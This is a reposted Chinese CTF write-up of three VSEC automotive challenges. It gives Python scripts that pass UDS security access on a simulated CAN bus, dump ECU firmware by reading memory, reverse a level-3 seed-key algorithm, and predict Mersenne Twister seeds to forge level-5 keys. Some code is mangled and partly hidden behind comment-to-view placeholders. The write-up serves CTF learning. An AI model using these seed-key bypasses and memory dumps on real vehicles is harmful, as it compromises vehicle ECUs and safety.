【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

admin 2025年3月21日00:24:38评论6 views字数 12176阅读40分35秒阅读模式

Block Harbor 是一家专注于汽车网络安全领域的公司,Block Harbor 组织的汽车CTF挑战赛,第一季以教育和乐趣为核心,教授参与者如何嗅探CAN总线并发送控制信息。赛事迅速获得了社区的积极响应,并发展成为一个全球性的活动,吸引了来自亚洲、中东、欧洲和北美的900多名参与者。

  • 第一季赛事结束后,Block Harbor 通过其平台VSEC公开了50个独特的汽车挑战,并提供了5000美元的奖金,激发了更广泛的参与和社区建设。

  • 第二季赛事预计在2024年8月24日至9月8日举行,奖金池增至10万美元

本系列最后一期(其实冠男早写好了

欢迎大家与我们交流

再次感谢yichen投稿,yichen yyds

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

Read Memory By Address

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-User Space Diagnostics Challenge Simulation, then launch the terminal.I wonder whats at 0xc0ffe000?翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。我想知道 0xc0ffe000 是什么?

就是读内存呗,上脚本,先过了安全启动 level1 再读取内存,这里读取内存的终点设置为 0xC0FFEEF1 是试出来的,读到 0xC0FFEFF0 的时候会出现 NRC 31,权限不够,因此少读一点就出结果了

import canimport timeimport binascii
bus =  can.Bus(interface='socketcan', channel='vcan0')bus.set_filters([{"can_id"0x7E8, "can_mask"0xFFF, "extended": False}])
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result = binascii.hexlify(msg.data).decode('utf-8')seed = result[6:14]key1 = int(seed[:2],16) ^ 0x20key2 = int(seed[2:4],16) ^ 0x20key3 = int(seed[4:6],16) ^ 0x20key4 = int(seed[6:8],16) ^ 0x20message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result = binascii.hexlify(msg.data).decode('utf-8')
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)
for i in range(5): msg = bus.recv(timeout=0.2)  # 接受剩余的27返回值
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()  #进入编程会话
def readmem():    recvdata = ""    for hex_value in range(0xc0ffe000, 0xC0FFEEF1, 0xFF):
        byte1 = (hex_value >> 24) & 0xFF        byte2 = (hex_value >> 16) & 0xFF        byte3 = (hex_value >> 8) & 0xFF        byte4 = hex_value & 0xFF        candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
        message  = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=candata)        bus.send(message, timeout=0.2)        msg = bus.recv()        recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]
        message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])        bus.send(message, timeout=0.2)
        temp = 0        while temp < 36:            msg = bus.recv()            tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]            if tempdata != "00000000000000":                recvdata += tempdata            temp = temp + 1
    print("n========== READMEM ==========")    print(recvdata)    print("========== READMEM ==========n")
readmem()
bus.shutdown()

Security Access Level 3

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.Bit twiddling is pretty common on a lot of vehicles, hope you can implement it!You will need to dump the firmware of the appliation to do thisand further challenges. As a hint, think of where linux applications get mapped without ASLR?翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。位操作在很多车辆上都很常见,希望你能实现它!你需要转储应用程序的固件才能执行此操作,并进行进一步的挑战。作为提示,想想在没有 ASLR 的情况下 Linux 应用程序被映射到哪里?

啊哈!这次提示 位操作 了!另外还需要转储固件进行分析,提示说:如果没有 ASLR,Linux 应用程序将映射到的地址是 0x400000

首先尝试读取一下 0x400000 这块的地址,怀疑也要先通过安全访问 level1 才能读取,读取完之后直接把内容写到文件里,有些地址读取的时候会出现 31 的 NRC 需要注意一下

import canimport timeimport binascii
bus =  can.Bus(interface='socketcan', channel='vcan0')bus.set_filters([{"can_id"0x7E8, "can_mask"0xFFF, "extended": False}])
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()time.sleep(3)message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result = binascii.hexlify(msg.data).decode('utf-8')seed = result[6:14]key1 = int(seed[:2],16) ^ 0x20key2 = int(seed[2:4],16) ^ 0x20key3 = int(seed[4:6],16) ^ 0x20key4 = int(seed[6:8],16) ^ 0x20message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result = binascii.hexlify(msg.data).decode('utf-8')message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)for i in range(5):    msg = bus.recv(timeout=0.2)  # 接受剩余的27返回值message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()  #进入编程会话
def readmem_tofile():    file = open("my.bin","wb")
    for hex_value in range(0x400000, 0x600000, 0xFF):        byte1 = (hex_value >> 24) & 0xFF        byte2 = (hex_value >> 16) & 0xFF        byte3 = (hex_value >> 8) & 0xFF        byte4 = hex_value & 0xFF        candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
        message  = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=candata)        bus.send(message, timeout=0.2)        msg = bus.recv()        data = binascii.hexlify(msg.data).decode('utf-8')[2:]        if data == "7f2331":            continue        recvdata = binascii.hexlify(msg.data).decode('utf-8')[4:]        print(recvdata)        file.write(bytes.fromhex(recvdata))        message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])        bus.send(message, timeout=0.2)
        temp = 0        while temp < 36:            msg = bus.recv(timeout=0.2)            recvdata = binascii.hexlify(msg.data).decode('utf-8')[2:]            print(recvdata)            file.write(bytes.fromhex(recvdata))            temp = temp + 1
readmem_tofile()bus.shutdown()


感觉 isotp 或者 scapy 比 python-can 封装了好多东西啊,可以自动拆分和接收多帧报文,不然一点一点读好麻烦(脚本用了 pwnalone 的)

import isotpimport itertoolsimport structimport sysimport time
DATA_OFFS = {    0x62 : 3,    0x63 : 1,    0x67 : 2,    0x71 : 4,    0x74 : 2,    0x76 : 2,    0x7f : 0,    }   # 方便筛选实际数据
p16, u16 = lambda x: struct.pack('>H', x), lambda x: struct.unpack('>H', x)[0]p32, u32 = lambda x: struct.pack('>I', x), lambda x: struct.unpack('>I', x)[0]p64, u64 = lambda x: struct.pack('>Q', x), lambda x: struct.unpack('>Q', x)[0]
s = isotp.socket()s.bind('vcan0', isotp.Address(rxid=0x7e8, txid=0x7e0))
def reset():    s.send(bytes([ 0x110x01 ]))    s.recv()
def level1():    s.send(bytes([ 0x270x01 ]))  # level1 req seed    reply = s.recv()    seed = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]  # get seed
    if seed != b'':        key = p32(u32(seed) ^ 0x20202020)        s.send(bytes([ 0x270x02 ])  + key) # level1 send key        reply = s.recv()        data = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]
        if data[0] != 0x7f:            print(data)    else:        print("no seed...")
def readmem_to_file(addr, size):    file = open("1.bin","wb")    dump = b''    step = 0x800    while step > 0:        step = min(step, size)        s.send(bytes([ 0x230x44 ]) + p32(addr) + p32(step))        reply = s.recv()        if reply and reply == b'x7fx23x22':            break        if reply and reply != b'x7fx23x31':            file.write(reply)            addr  += step            size  -= step        else:            step //= 2
reset()time.sleep(2)level1()readmem_to_file(0x4000000x100000)

之前一直没更新主要是他们平台有些问题,没法下载,看之前官方介绍里说靶机好像还能联网,现在也不能联网了,又不想一点一点复制出来,就一直拖着...

最近发现可以下载文件了,但是只能下载文本文件(奇怪的限制),所以先 base64 把固件编码成文本 .txt 格式,在本机再转回去。dump 出来之后用 IDA 打开一看,哎,有个没交过的 flag,试试这个还真对了:bh{bit_twiddling_is_secure}


【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)


然而这题预期应该是想让我们找到 level3 的 UDS 安全访问算法的,那继续找找看,但是怎么找呢,固件没有符号,不太好分辨,单看字符串也找不到 level3 相关的代码,想根据 flag 去找结果发现没有引用


【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

但是,等等!在 level1 的安全访问算法中我们异或了一个特定的值:0x20,能不能通过它来定位一下算法呢,通过搜索 20 字符串,然后再过滤异或操作,找到了异或 0x20 的函数

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

进来之后大概看看整个函数的接口可以确定:v9 这个变量就是安全访问的等级,那么后面这一长串乱七八糟的异或就是 level3 的校验逻辑了,函数中还可以看到 0x35 也就是密钥错误的 NRC

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

把这段算法稍微一分析,基本是这个样子

key[0] = (((seed[0] ^ seed[3]) + seed[0]) ^ 0xFE) - (16 * seed[3]) & 0xffkey[1] = (((seed[1] ^ seed[2]) + seed[1]) ^ 0xED) - (16 * seed[2]) & 0xffkey[2] = (((seed[3] ^ seed[1]) + seed[2]) ^ 0xFA) - (16 * seed[1]) & 0xffkey[3] = (((seed[2] ^ seed[0]) + seed[3]) ^ 0xCE) - (16 * seed[0]) & 0xff

写为脚本即可

import isotpimport itertoolsimport structimport sysimport time
DATA_OFFS = {    0x62 : 3,    0x63 : 1,    0x67 : 2,    0x71 : 4,    0x74 : 2,    0x76 : 2,    0x7f : 0,    }   # 方便筛选实际数据
p16, u16 = lambda x: struct.pack('>H', x), lambda x: struct.unpack('>H', x)[0]p32, u32 = lambda x: struct.pack('>I', x), lambda x: struct.unpack('>I', x)[0]p64, u64 = lambda x: struct.pack('>Q', x), lambda x: struct.unpack('>Q', x)[0]
s = isotp.socket()s.bind('vcan0', isotp.Address(rxid=0x7e8, txid=0x7e0))
def reset():    s.send(bytes([ 0x110x01 ]))    s.recv()
def level1():    s.send(bytes([ 0x270x01 ]))  # level1 req seed    reply = s.recv()    seed = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]  # get seed
    if seed != b'':        key = p32(u32(seed) ^ 0x20202020)        s.send(bytes([ 0x270x02 ])  + key) # level1 send key        reply = s.recv()        data = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]
        if data[0] != 0x7f:            print(data)    else:        print("no seed...")
def level3():    s.send(bytes([ 0x270x03 ]))  # level3 req seed    reply = s.recv()    seed = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]  # get seed
    if seed != b'':        key = [0,0,0,0]        key[0] = (((seed[0] ^ seed[3]) + seed[0]) ^ 0xFE) - (16 * seed[3]) & 0xff        key[1] = (((seed[1] ^ seed[2]) + seed[1]) ^ 0xED) - (16 * seed[2]) & 0xff        key[2] = (((seed[3] ^ seed[1]) + seed[2]) ^ 0xFA) - (16 * seed[1]) & 0xff        key[3] = (((seed[2] ^ seed[0]) + seed[3]) ^ 0xCE) - (16 * seed[0]) & 0xff        s.send(bytes([ 0x270x04, key[0], key[1], key[2], key[3]])) # level3 send key        reply = s.recv()        data = reply[DATA_OFFS
此处为隐藏的内容
发表评论并刷新,方可查看
]:]
        if data[0] != 0x7f:            print(data)    else:        print("no seed...")

reset()time.sleep(2)level1()level3()
【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)


Security Access Level 5

题目:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-User Space Diagnostics Challenge Simulation, then launch the terminal.I hear pseudo-random can be predicted, but we dont know how! Maybe you can prove it.翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。我听说伪随机数可以预测,但我们不知道如何预测!也许你可以证明这一点。

根据前面对固件的分析,可以猜测出函数 sub_407E7A 是处理 UDS 逻辑的函数,其中 case5 是生成种子的逻辑,case6 是检查密钥的逻辑,在函数的 77 行是 level5 的 seed 生成逻辑,85 行是产生 level1~3 产生 seed 的逻辑

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

同时我们在代码 105 行也可以看到 level5 校验的逻辑中 key 也是由 Level5_GenerateSeed 函数产生的

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

进入 Level5_GenerateSeed 后搜索相关常量得到一些信息:Mersenne Twister 算法

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

进入 Level5_GenerateSeed 后搜索相关常量得到一些信息:Mersenne Twister 算法

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)


查看相关资料后发现这是个伪随机数算法,可以通过这个库(https://github.com/kmyk/mersenne-twister-predictor),从前面的 624 个生成的随机数中预测下一个随机数,前面我们说了 key 也是由产生 seed 的 Mersenne Twister 算法产生的,既然能预测随机数,那岂不是可以预测 key 了!?


来看一下给的示例学习一下这个库怎么用,可以看到这个例子中循环了 624 次,每次生成一个随机数,然后送给 predictor.setrandbits(x, 32),获得了足够多的随机数后就可以用 predictor.getrandbits(32)): 来预测下一个随机数了!

所以我们只需要编写脚本,不断获取 level5 的 seed 然后获得了足够数量的 seed 后就可以预测出来 key 啦

import randomfrom mt19937predictor import MT19937Predictorimport canimport timeimport binascii
predictor = MT19937Predictor()
bus =  can.Bus(interface='socketcan', channel='vcan0')bus.set_filters([{"can_id"0x7E8, "can_mask"0xFFF, "extended": False}])message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()time.sleep(1)
for i in range(624):    message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])    bus.send(message, timeout=0.2)    msg = bus.recv()    result = binascii.hexlify(msg.data).decode('utf-8')    seed = result[6:14]    seed = int(seed,16)    predictor.setrandbits(seed, 32)
key = hex(predictor.getrandbits(32))key1 = int(key[2:4],16)key2 = int(key[4:6],16)key3 = int(key[6:8],16)key4 = int(key[8:10],16)message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x06, key1, key2, key3, key4, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result = binascii.hexlify(msg.data).decode('utf-8')[8:]message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])bus.send(message, timeout=0.2)msg = bus.recv()result += binascii.hexlify(msg.data).decode('utf-8')[2:]msg = bus.recv()result += binascii.hexlify(msg.data).decode('utf-8')[2:]msg = bus.recv()result += binascii.hexlify(msg.data).decode('utf-8')[2:]msg = bus.recv()result += binascii.hexlify(msg.data).decode('utf-8')[2:]print(bytes.fromhex(result))
bus.shutdown()

bh{i_really_hate_twister}

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)


yichen yyds

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

系列文章回顾

【WriteUP】VSEC 车联网安全 CTF 挑战赛(一)

【WriteUP】VSEC 车联网安全 CTF 挑战赛(二)

【WriteUP】VSEC 车联网安全 CTF 挑战赛(三)

【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)
【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)
【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

原文始发于微信公众号(安全脉脉):【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:24:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)https://cn-sec.com/archives/3863768.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息